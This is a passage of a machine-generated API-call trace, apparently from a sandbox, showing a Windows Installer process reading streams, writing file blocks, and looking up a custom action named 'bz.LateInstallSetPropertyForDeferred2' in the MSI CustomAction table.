pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x3, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.543] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.543] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x45, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.543] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.543] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.543] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.543] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.543] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.543] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xc6, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.543] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.543] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.543] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.543] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x9, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.543] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.543] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x83, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.543] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.543] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.543] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.543] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x84, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.543] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.543] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.544] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.544] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.544] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.544] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x74, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.544] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.544] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x8b, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.544] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.544] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.544] memcpy (in: _Dst=0x37b03ac, _Src=0x10cdf7d, _Size=0x133 | out: _Dst=0x37b03ac) returned 0x37b03ac [0149.544] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0x81, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.544] memcpy (in: _Dst=0x37b04df, _Src=0x10cdeb0, _Size=0x200 | out: _Dst=0x37b04df) returned 0x37b04df [0149.544] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x10cdeb0, cb=0x200, pcbRead=0x10cde60 | out: pv=0x10cdeb0*=0xff, pcbRead=0x10cde60*=0x200) returned 0x0 [0149.544] memcpy (in: _Dst=0x37b06df, _Src=0x10cdeb0, _Size=0xcd | out: _Dst=0x37b06df) returned 0x37b06df [0149.544] WriteFile (in: hFile=0x368, lpBuffer=0x37b03ac*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x10cde30, lpOverlapped=0x0 | out: lpBuffer=0x37b03ac*, lpNumberOfBytesWritten=0x10cde30*=0x400, lpOverlapped=0x0) returned 1 [0149.550] GlobalUnlock (hMem=0xf40208) returned 0 [0149.550] GlobalUnlock (hMem=0xf40228) returned 0 [0149.550] IUnknown:Release (This=0x32f000) returned 0x0 [0149.550] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.550] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.551] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.551] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.551] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.551] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.551] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.553] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0149.553] lstrcmpW (lpString1="Advertise", lpString2="bz.LateInstallSetPropertyForDeferred2") returned -1 [0149.553] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="bz.LateInstallSetPropertyForDeferred2") returned -1 [0149.553] lstrcmpW (lpString1="AppSearch", lpString2="bz.LateInstallSetPropertyForDeferred2") returned -1 [0149.553] lstrcmpW (lpString1="BindImage", lpString2="bz.LateInstallSetPropertyForDeferred2") returned -1 [0149.553] lstrcmpW (lpString1="CCPSearch", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="CostFinalize", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="CostInitialize", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="CreateFolders", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="CreateShortcuts", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="DeleteServices", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="DuplicateFiles", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="FileCost", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="FindRelatedProducts", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="GenerateScript", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="InstallAdminPackage", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="InstallFiles", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="InstallODBC", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="InstallServices", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="InstallValidate", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.553] lstrcmpW (lpString1="LaunchConditions", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="MoveFiles", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="PatchFiles", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="ProcessComponents", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="PublishComponents", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="PublishFeatures", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="PublishProduct", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RegisterClassInfo", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RegisterComPlus", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RegisterFonts", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RegisterProduct", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RegisterUser", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RemoveFiles", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RemoveFolders", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RemoveIniValues", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RemoveODBC", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RemoveShortcuts", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RMCCPSearch", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="Rollback", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="RollbackCleanup", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.554] lstrcmpW (lpString1="SelfRegModules", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="SelfUnregModules", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="SetODBCFolders", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="StartServices", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="StopServices", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="UnmoveFiles", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="UnpublishComponents", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="UnpublishFeatures", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="UnpublishProduct", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="UnregisterClassInfo", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="UnregisterComPlus", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="UnregisterExtensionInfo", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="UnregisterFonts", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="UnregisterMIMEInfo", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="UnregisterProgIdInfo", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="UnregisterTypeLibraries", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="WriteEnvironmentStrings", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="WriteIniValues", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="WriteRegistryValues", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="ShutdownApplications", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="ConfigureServices", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] lstrcmpW (lpString1="ConfigureServicesUnsupoortedOS", lpString2="bz.LateInstallSetPropertyForDeferred2") returned 1 [0149.555] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.555] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.555] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.555] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.555] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.555] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.556] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.557] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.557] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.557] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.557] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.557] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x38, wMilliseconds=0x2cf)) [0149.557] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:56") returned 9 [0149.557] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0149.559] lstrlenW (lpString="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = '%s'") returned 104 [0149.559] lstrlenW (lpString="bz.LateInstallSetPropertyForDeferred2") returned 37 [0149.559] _vsnwprintf (in: _Buffer=0x37b01a0, _BufferCount=0x8d, _Format="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = '%s'", _ArgList=0x10ce418 | out: _Buffer="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = 'bz.LateInstallSetPropertyForDeferred2'") returned 139 [0149.559] GlobalLock (hMem=0xf40228) returned 0x3cc0f0 [0149.559] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0149.559] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0149.559] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0149.559] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0149.559] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0149.559] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0149.559] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0149.559] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0149.559] lstrlenW (lpString="CustomAction") returned 12 [0149.559] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䘌䗶䐲䆊䌷䑲", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce060, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0149.559] IStream:Stat (in: This=0x32f000, pstatstg=0x10cdfc0, grfStatFlag=0x1 | out: pstatstg=0x10cdfc0) returned 0x0 [0149.559] GlobalLock (hMem=0xf40208) returned 0x37b07e0 [0149.559] ISequentialStream:RemoteRead (in: This=0x32f000, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0xae, pcbRead=0x372cbc*=0xb4) returned 0x0 [0149.559] memcpy (in: _Dst=0x37b07e4, _Src=0x3728bc, _Size=0x2 | out: _Dst=0x37b07e4) returned 0x37b07e4 [0149.559] memcpy (in: _Dst=0x37b07fc, _Src=0x3728be, _Size=0x2 | out: _Dst=0x37b07fc) returned 0x37b07fc [0149.559] memcpy (in: _Dst=0x37b0814, _Src=0x3728c0, _Size=0x2 | out: _Dst=0x37b0814) returned 0x37b0814 [0149.559] memcpy (in: _Dst=0x37b082c, _Src=0x3728c2, _Size=0x2 | out: _Dst=0x37b082c) returned 0x37b082c [0149.560] memcpy (in: _Dst=0x37b0844, _Src=0x3728c4, _Size=0x2 | out: _Dst=0x37b0844) returned 0x37b0844 [0149.560] memcpy (in: _Dst=0x37b085c, _Src=0x3728c6, _Size=0x2 | out: _Dst=0x37b085c) returned 0x37b085c [0149.560] memcpy (in: _Dst=0x37b0874, _Src=0x3728c8, _Size=0x2 | out: _Dst=0x37b0874) returned 0x37b0874 [0149.560] memcpy (in: _Dst=0x37b088c, _Src=0x3728ca, _Size=0x2 | out: _Dst=0x37b088c) returned 0x37b088c [0149.560] memcpy (in: _Dst=0x37b08a4, _Src=0x3728cc, _Size=0x2 | out: _Dst=0x37b08a4) returned 0x37b08a4 [0149.560] memcpy (in: _Dst=0x37b08bc, _Src=0x3728ce, _Size=0x2 | out: _Dst=0x37b08bc) returned 0x37b08bc [0149.560] memcpy (in: _Dst=0x37b08d4, _Src=0x3728d0, _Size=0x2 | out: _Dst=0x37b08d4) returned 0x37b08d4 [0149.560] memcpy (in: _Dst=0x37b08ec, _Src=0x3728d2, _Size=0x2 | out: _Dst=0x37b08ec) returned 0x37b08ec [0149.560] memcpy (in: _Dst=0x37b0904, _Src=0x3728d4, _Size=0x2 | out: _Dst=0x37b0904) returned 0x37b0904 [0149.560] memcpy (in: _Dst=0x37b091c, _Src=0x3728d6, _Size=0x2 | out: _Dst=0x37b091c) returned 0x37b091c [0149.560] memcpy (in: _Dst=0x37b0934, _Src=0x3728d8, _Size=0x2 | out: _Dst=0x37b0934) returned 0x37b0934 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728da, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728dc, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728de, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728e0, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728e2, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728e4, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728e6, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728e8, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728ea, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728ec, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728ee, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728f0, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728f2, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728f4, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x10ce138, _Src=0x3728f6, _Size=0x2 | out: _Dst=0x10ce138) returned 0x10ce138 [0149.560] memcpy (in: _Dst=0x37b07ec, _Src=0x3728f8, _Size=0x2 | out: _Dst=0x37b07ec) returned 0x37b07ec [0149.560] memcpy (in: _Dst=0x37b0804, _Src=0x3728fa, _Size=0x2 | out: _Dst=0x37b0804) returned 0x37b0804 [0149.560] memcpy (in: _Dst=0x37b081c, _Src=0x3728fc, _Size=0x2 | out: _Dst=0x37b081c) returned 0x37b081c [0149.560] memcpy (in: _Dst=0x37b0834, _Src=0x3728fe, _Size=0x2 | out: _Dst=0x37b0834) returned 0x37b0834 [0149.560] memcpy (in: _Dst=0x37b084c, _Src=0x372900, _Size=0x2 | out: _Dst=0x37b084c) returned 0x37b084c [0149.560] memcpy (in: _Dst=0x37b0864, _Src=0x372902, _Size=0x2 | out: _Dst=0x37b0864) returned 0x37b0864 [0149.560] memcpy (in: _Dst=0x37b087c, _Src=0x372904, _Size=0x2 | out: _Dst=0x37b087c) returned 0x37b087c [0149.560] memcpy (in: _Dst=0x37b0894, _Src=0x372906, _Size=0x2 | out: _Dst=0x37b0894) returned 0x37b0894 [0149.560] memcpy (in: _Dst=0x37b08ac, _Src=0x372908, _Size=0x2 | out: _Dst=0x37b08ac) returned 0x37b08ac [0149.560] memcpy (in: _Dst=0x37b08c4, _Src=0x37290a, _Size=0x2 | out: _Dst=0x37b08c4) returned 0x37b08c4 [0149.561] memcpy (in: _Dst=0x37b08dc, _Src=0x37290c, _Size=0x2 | out: _Dst=0x37b08dc) returned 0x37b08dc [0149.561] memcpy (in: _Dst=0x37b08f4, _Src=0x37290e, _Size=0x2 | out: _Dst=0x37b08f4) returned 0x37b08f4 [0149.561] memcpy (in: _Dst=0x37b090c, _Src=0x372910, _Size=0x2 | out: _Dst=0x37b090c) returned 0x37b090c [0149.561] memcpy (in: _Dst=0x37b0924, _Src=0x372912, _Size=0x2 | out: _Dst=0x37b0924) returned 0x37b0924 [0149.561] memcpy (in: _Dst=0x37b093c, _Src=0x372914, _Size=0x2 | out: _Dst=0x37b093c) returned 0x37b093c [0149.561] memcpy (in: _Dst=0x37b07f0, _Src=0x372916, _Size=0x2 | out: _Dst=0x37b07f0) returned 0x37b07f0 [0149.561] memcpy (in: _Dst=0x37b0808, _Src=0x372918, _Size=0x2 | out: _Dst=0x37b0808) returned 0x37b0808 [0149.561] memcpy (in: _Dst=0x37b0820, _Src=0x37291a, _Size=0x2 | out: _Dst=0x37b0820) returned 0x37b0820 [0149.561] memcpy (in: _Dst=0x37b0838, _Src=0x37291c, _Size=0x2 | out: _Dst=0x37b0838) returned 0x37b0838 [0149.561] memcpy (in: _Dst=0x37b0850, _Src=0x37291e, _Size=0x2 | out: _Dst=0x37b0850) returned 0x37b0850 [0149.561] memcpy (in: _Dst=0x37b0868, _Src=0x372920, _Size=0x2 | out: _Dst=0x37b0868) returned 0x37b0868 [0149.561] memcpy (in: _Dst=0x37b0880, _Src=0x372922, _Size=0x2 | out: _Dst=0x37b0880) returned 0x37b0880 [0149.561] memcpy (in: _Dst=0x37b0898, _Src=0x372924, _Size=0x2 | out: _Dst=0x37b0898) returned 0x37b0898 [0149.561] memcpy (in: _Dst=0x37b08b0, _Src=0x372926, _Size=0x2 | out: 